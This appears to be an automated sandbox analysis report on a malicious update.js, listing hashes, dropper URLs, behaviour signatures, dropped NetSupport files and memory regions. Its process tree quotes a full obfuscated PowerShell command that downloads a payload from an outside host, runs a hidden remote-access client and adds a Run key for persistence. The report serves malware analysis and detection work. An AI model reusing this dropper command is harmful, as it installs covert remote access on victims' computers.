Analysis

  • max time kernel
    606s
  • max time network
    1754s
  • platform
    windows11-21h2_x64
  • resource
    win11-20231215-en
  • resource tags

    arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05-02-2024 20:21

General

  • Target

    update.js

  • Size

    350KB

  • MD5

    1cc37e540105a888cbe50d8d81b09e27

  • SHA1

    0e2701afb1ba6050508dd7a4ecfc6fe3266ca9e2

  • SHA256

    d733403650832af97220ed7693dcc0901336c84f927351db27a2ccb2de2deae1

  • SHA512

    2ed4db91e1e59c17966de8cbe12dd6b830e9f6756d7e98a8d525597252db393e843fdba82e17e0403b77416393ac3059a58f3d954985ab56e23b156ae4b981b1

  • SSDEEP

    6144:QY/j8teY/j8teY/j8tMY/j8t8Y/j8teY/j8teY/j8tWY/j8teY/j8teY/j8tQ:QYwteYwteYwtMYwt8YwteYwteYwtWYwW

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://ghostcitygames.com/data.php?6937

exe.dropper

https://ghostcitygames.com/data.php?6937

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3784
      • C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe
        "C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4424

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cq0rwyu5.yoq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\DIVX-414\HTCTL32.DLL

    Filesize

    180KB

    MD5

    edbb1829892bfbd9c768eeaddfcb2bcb

    SHA1

    de8e0fd70ea6cc4e4c7c2e3d5d83a5c0e04f28e0

    SHA256

    5a82eb5f63412f73bde8c29b5ba039ff488b2a15882abefa2c0d48a81ca2ea5e

    SHA512

    56928c07e38f0722dc42cba6108a6936a70d919bb0b6547e17e38c92ed073cd9927557088b9f125b2cdd1eecc555227f3cf9d4d278f0aec4bd1d3ac4900d5ea9

  • C:\Users\Admin\AppData\Roaming\DIVX-414\HTCTL32.DLL

    Filesize

    320KB

    MD5

    c94005d2dcd2a54e40510344e0bb9435

    SHA1

    55b4a1620c5d0113811242c20bd9870a1e31d542

    SHA256

    3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

    SHA512

    2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

  • C:\Users\Admin\AppData\Roaming\DIVX-414\MSVCR100.dll

    Filesize

    282KB

    MD5

    4b06e1117da0d7a8d4d5f4511d3ab843

    SHA1

    c4baa29f6912243e75f10de676d34658f95fc002

    SHA256

    5e4d3ff0e6d588a788f8ec0415c2a8e654c77d5e01b96f0110e5229d9f348617

    SHA512

    e71fcec7266613f16cf4c4c6b55901acddc926e30dde0b7273c573fdfa81c6e75dd74af365e7acee343fcad01ae994b65a8886e2c197713c63b4e73f3e3a01ac

  • C:\Users\Admin\AppData\Roaming\DIVX-414\NSM.LIC

    Filesize

    258B

    MD5

    1b41e64c60ca9dfadeb063cd822ab089

    SHA1

    abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

    SHA256

    f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

    SHA512

    c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

  • C:\Users\Admin\AppData\Roaming\DIVX-414\PCICHEK.DLL

    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

  • C:\Users\Admin\AppData\Roaming\DIVX-414\PCICL32.DLL

    Filesize

    287KB

    MD5

    740c9f575ba186128f6cfe97e4cafcf5

    SHA1

    fc391e6df6da78d031c08ef746ae08ff7e9e197f

    SHA256

    0bd2f372ba1413dd7a88d65ed7c11921eb0abd48364757ef6891625e9066ced6

    SHA512

    cafac27c599b8cf2fc3a290969a38d31fe4560b634c58d058ada03b7a1a9ee0c0013cf9aa393d7732eb98defcdc970247f5cecb79b91115de032539856be1421

  • C:\Users\Admin\AppData\Roaming\DIVX-414\PCICL32.dll

    Filesize

    483KB

    MD5

    97a09fb8d4d01659639ca6248075abf5

    SHA1

    2eb7edb052ac8776edfe422f4d58e6ca29b246aa

    SHA256

    174c6fd0d92ea474c5de73135ccede46420da09e28ff0bfeeaa1b8e3d983eea7

    SHA512

    e80df0dce370c009bb71d38204d558acc0c4c99463bf14ddd72afe1fa0df69724bcc1219516cf70fa757a1ad5d5e08fc6fade6ad7c6503da54a2af9703c44045

  • C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe

    Filesize

    101KB

    MD5

    c4f1b50e3111d29774f7525039ff7086

    SHA1

    57539c95cba0986ec8df0fcdea433e7c71b724c6

    SHA256

    18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

    SHA512

    005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

  • C:\Users\Admin\AppData\Roaming\DIVX-414\client32.ini

    Filesize

    701B

    MD5

    98043670d8c850e878e333312fcfa25a

    SHA1

    dc795e8b906d70ee5854a6797e0c1557375bc443

    SHA256

    0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc

    SHA512

    13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

  • C:\Users\Admin\AppData\Roaming\DIVX-414\msvcr100.dll

    Filesize

    316KB

    MD5

    a72532314c76a7499dc195237904e008

    SHA1

    a79922172ac532128eeef537d13c069225555352

    SHA256

    7accb3d1ab09438ff282f58acc30d543661876435ec6a6855e7f8a817b5beed6

    SHA512

    6d3ca1100542475330033bd8620aa1348b197b68adbe8fa80e773827af9faac1b62cfda6d8ea76e250ff633353b85ac3436a7085cdfcff58c842f451b9658be5

  • C:\Users\Admin\AppData\Roaming\DIVX-414\pcicapi.dll

    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

  • memory/3784-12-0x0000018572150000-0x0000018572160000-memory.dmp

    Filesize

    64KB

  • memory/3784-74-0x00007FFD5FDC0000-0x00007FFD60882000-memory.dmp

    Filesize

    10.8MB

  • memory/3784-14-0x0000018574090000-0x000001857409A000-memory.dmp

    Filesize

    40KB

  • memory/3784-15-0x0000018574130000-0x0000018574142000-memory.dmp

    Filesize

    72KB

  • memory/3784-11-0x0000018572150000-0x0000018572160000-memory.dmp

    Filesize

    64KB

  • memory/3784-10-0x0000018572150000-0x0000018572160000-memory.dmp

    Filesize

    64KB

  • memory/3784-9-0x00007FFD5FDC0000-0x00007FFD60882000-memory.dmp

    Filesize

    10.8MB

  • memory/3784-8-0x00000185740A0000-0x00000185740C2000-memory.dmp

    Filesize

    136KB